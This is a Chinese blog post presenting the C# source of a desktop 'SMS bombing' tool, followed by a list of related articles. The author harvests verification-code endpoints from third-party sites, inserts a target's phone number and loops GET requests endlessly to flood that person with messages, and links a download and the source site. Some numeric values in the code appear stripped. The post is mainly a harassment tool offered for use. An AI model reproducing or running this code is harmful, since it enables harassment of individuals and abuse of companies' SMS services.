前言

  之前用过android版短信轰炸的apk,于是想反编apk查看源码找短信接口,做一个PC版本的,不料反编失败。后不了了之...

  昨日逛论坛时无意中看到一个网站有此功能,打开一试究竟,效果可以,于是立即把这个功能调用的所有url拷贝下来,做了一个简易版。

  效果图:

  

正文

  短信接口地址:链接(接口地址不是特别多,测试最多接收几十条短信,每个地址之间已经用@分开,连接中的 手机号 三个就是要轰炸人的手机号)

  原理:循环每一个链接,发送get请求,返回结果。(被轰人接收短信的数量跟他在各个网站账号中使用自己手机号的次数成正比)
  问题:结果的显示不是很准确,暂时没有办法判断被轰人是否已接受短信。
  直接贴代码:
  

private delegate void DelegateFun(object obj);
private Thread thread = null;
/// <summary>
/// 发送
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void btnSend_Click(object sender, EventArgs e)
{
if (thread != null)
{
thread.Abort();
}
txtResult.Text = "";
if (!CheckData())
{
return;
} thread = new Thread(new ParameterizedThreadStart(CrossThreadFlush));
thread.IsBackground = true;
thread.Start(txtPhoneID.Text.Trim());
}
/// <summary>
/// 停止
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void btnStop_Click(object sender, EventArgs e)
{
if (thread != null)
{
thread.Abort();
}
}
/// <summary>
/// 退出
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void btnExit_Click(object sender, EventArgs e)
{
Application.Exit();
}
/// <summary>
/// 线程
/// </summary>
/// <param name="phoneID"></param>
private void CrossThreadFlush(object phoneID)
{
while (true)
{
//将sleep和无限循环放在等待异步的外面
Thread.Sleep();
ThreadFunction(phoneID);
}
}
/// <summary>
/// 线程
/// </summary>
/// <param name="phoneID"></param>
private void ThreadFunction(object phoneID)
{
SendRequest(phoneID);
}
private void DelegateSetValue(object resultIndex)
{
if (resultIndex == null || resultIndex.ToString() == "")
{
return;
}
string[] resArray = resultIndex.ToString().Split(',');
StringBuilder sbResult = new StringBuilder("");
sbResult.AppendFormat("成功 {0} 次\r\n", resArray[]);
sbResult.AppendFormat("不确定 {0} 次\r\n", resArray[]);
sbResult.AppendFormat("失败数 {0} 次\r\n", resArray[]);
int total = Convert.ToInt32(resArray[]) + Convert.ToInt32(resArray[]) + Convert.ToInt32(resArray[]);
sbResult.AppendFormat("共轰击 {0} 次\r\n", total);
this.txtResult.Text = sbResult.ToString();
} private void SendRequest(object phoneID)
{
string url = GetUrl();
int successIndex = ;//成功条数
int nullIndex = ;//不确定条数
int failIndex = ;//失败条数
string[] arrStr = url.Split('@'); foreach (var item in arrStr)
{
if (string.IsNullOrEmpty(item))
{
continue;
}
try
{
string urlLast = item.Replace("\r\n", "").Replace("手机号", phoneID.ToString());
string result = PostDataToUrl("", urlLast);
if (!string.IsNullOrEmpty(result))
{
if (txtResult.InvokeRequired)
{
successIndex++;
DelegateFun d = new DelegateFun(DelegateSetValue);
txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
}
}
else
{
if (txtResult.InvokeRequired)
{
nullIndex++;
DelegateFun d = new DelegateFun(DelegateSetValue);
txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
}
}
}
catch (Exception)
{
if (txtResult.InvokeRequired)
{
failIndex++;
DelegateFun d = new DelegateFun(DelegateSetValue);
txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
}
continue;
}
}
}
/// <summary>
/// 发送get请求
/// </summary>
/// <param name="postDataStr"></param>
/// <param name="Url"></param>
/// <returns></returns>
private string PostDataToUrl(string postDataStr, string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url + (postDataStr == "" ? "" : "?") + postDataStr); request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream myResponseStream = response.GetResponseStream();
StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
myResponseStream.Close(); return retString;
}
/// <summary>
/// 数据校验
/// </summary>
/// <returns></returns>
private bool CheckData()
{ if (string.IsNullOrEmpty(txtPhoneID.Text.Trim()))
{
txtPhoneID.Focus();
errorProPhone.SetError(txtPhoneID, "输入手机号");
return false;
}
else
{
errorProPhone.Clear();
}
return true;
}
/// <summary>
/// 获取短信接口
/// </summary>
/// <returns></returns>
private string GetUrl()
{
string url = @"短信接口地址(附件中链接贴过来)";
return url;
}

  应用下载:轰死人补偿命

  附 原地址:http://www.zhasini.ml/

短信轰炸PC版的更多相关文章

  1. 使用python进行短信轰炸

    本文作者:i春秋作家——Hacker1ee 大家好,我是1ee(因为在作家群,就不加Hacker这个前缀了,怕被大佬打..) 刚加入i春秋作家组希望大家多多关照,也欢迎大家找我交流 今天我来讲讲我最近 ...

  2. 关于前端XSS攻击、短信轰炸等问题

    关于前端的XSS攻击: 这里有一篇Ryf老师的写的关于使用  Content Security Policy (简称 CSP 防御)来防御xss攻击,简单来说就是设置白名单,告诉浏览器哪些链接.内容是 ...

  3. 手把手教你实现"短信轰炸"

    手把手教你实现"短信轰炸" 我这里采用简单易懂的语言--"Python3"来实现   实现前的准备:             1,电脑,谷歌浏览器 2,pyth ...

  4. 挖穿各大SRC的短信轰炸

    今天给大家分享一个短信轰炸绕过的姿势,大疆.百度.腾讯等等src都有用此方法绕过的案例. 给大家看一下 这里就不给大家截图了,在src中提交的截图都没有打码,这里放出来不太方便. 这里就只举出大疆的例 ...

  5. 腾讯云短信SDK-精简版

    /** * 腾讯云短信SDK-精简版 * 本模块使用-向腾讯云短信服务器发送请求 * @return json 腾讯服务器返回值-json字符串 */ private function send_sm ...

  6. 遇到短信轰炸,别人换ip调你的短信接口怎么办

    前端开发者很容易暴露自己的请求地址和参数,我们都知道,一个h5页面,按 F12 是可以看到页面的源码的,所以经常很多人会利用这一点恶意调取别人的接口. 我们公司出现了好多次短信接口被大量调用,导致一天 ...

  7. 腾讯短信服务精简版(PHP )

    短信视乎已经被慢慢淡出平常的交流工具队列,但始终抹不去它的存在,短信验证码视乎从未被取代,此外在重要的信息通知的地位也是不可取的的.所以了解短信的使用是开发中很有必要的一环. 腾讯云的短信服务提供有1 ...

  8. 阿里云短信服务Java版

    短信服务管理平台 https://dysms.console.aliyun.com/dysms.htm java短信发送API    https://help.aliyun.com/document_ ...

  9. 利用阿里大于实现发送短信(JAVA版)

    本文是我自己的亲身实践得来,喜欢的朋 友别忘了点个赞哦! 最近整理了一下利用阿里大于短信平台来实现发送短信功能. 闲话不多说,直接开始吧. 首先,要明白利用大于发送短信这件事是由两部分组成: 一.在阿 ...

随机推荐

  1. introcuding less css with less.js, using webcompiler ext

    1.html [watch out for the !js load sequence and the attribute of !rel stylesheet/less!] <!DOCTYPE ...

  2. Java基础(50):二分法查找的非递归实现和递归实现(完整代码可运行,参考VisualGO理解更佳)

    一.概念 二分查找算法也称折半查找,是一种在有序数组中查找某一特定元素的搜索算法. 二.算法思想 搜素过程从数组的中间元素开始,如果中间元素正好是要查找的元素,则搜素过程结束:如果某一特定元素大于或者 ...

  3. .NET: WPF Binding对数据的校验和转换以及多路Binding

    一.校验 一般需要对target上的值进行校验. xaml: <Window x:Class="WpfApplication1.MainWindow" xmlns=" ...

  4. .NET: C#: 获取当前路径

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.X ...

  5. SparkSQL JSON数据操作(1.3->1.4)

    1.用户自定义schema data json串格式如下: { "partner_code": "demo", "app_name": &q ...

  6. jvm笔记

    -vmargs -Xms128M -Xmx512M -XX:PermSize=64M -XX:MaxPermSize=128M 1. 各个参数的含义什么? 参数中-vmargs的意思是设置JVM参数, ...

  7. 夺命雷公狗ThinkPHP项目之----企业网站19之网站配置信息的修改

    我们这个其实也是很简单的,思路是直接将提交过来的cf_id 改成我们自己定义好的 “1” 即可,因为1配置只能有一个,所以永久都是该id 为1的: 先来完成我们的控制器,代码如下所示: public ...

  8. windows下gvim与gcc的一键环境的搭建

    此处略去在windows中配置gcc的方法.默认你已经能够在命令提示符下直接使用gcc了. 其实就是写了一个vimscript的.vim文件,然后在 _vimrc 中使用source命令引用进来. 以 ...

  9. 【sublime】解决汉字输入的办法——InputHelper;在sublime中输入汉字==》InputHelper方法

    手工安装办法: cd ~/.config/sublime-text-2/Packages  #如果是sublime3就改一下 git clone https://github.com/xgenvn/I ...

  10. 【转】ubuntu64,ndk-r9 编译 ffmpeg 2.1.1的config文件

    #!/bin/bash NDK_ROOT=/home/wjh/fox/android-ndk-r9c/ PREBUILT=${NDK_ROOT}toolchains/arm-linux-android ...